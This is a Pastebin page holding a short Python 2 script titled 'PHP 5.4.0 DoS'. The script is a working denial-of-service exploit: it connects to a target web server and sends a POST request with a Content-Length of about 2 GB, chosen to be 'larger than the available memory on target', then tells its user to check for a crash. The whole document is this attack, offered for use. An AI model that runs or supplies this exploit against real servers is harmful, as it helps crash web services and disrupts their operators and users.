Advertisement
The_KGB

[Python] PHP 5.4.0 DoS

Mar 25th, 2012
262
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
Python 0.55 KB | None | 0 0
  1. import socket, sys
  2.  
  3. target = "127.0.0.1"
  4. port   = 80;
  5.  
  6. request  = "POST / HTTP/1.1\n"
  7. request += "Content-Type: application/x-www-form-urlencoded\n"
  8. request += "Content-Length: 2147483638\n\n" # <-- Choose size larger than the available memory on target
  9. request += "A=B\n\n"
  10.  
  11. s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
  12.  
  13. try:
  14.   s.connect((target, port))
  15. except:
  16.   print "[-] Connection to %s:%s failed!" % (target, port)
  17.   sys.exit(0)
  18.  
  19. print "[+] Sending HTTP request. Check for crash on target."
  20.  
  21. s.send(request)
  22. s.close()
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement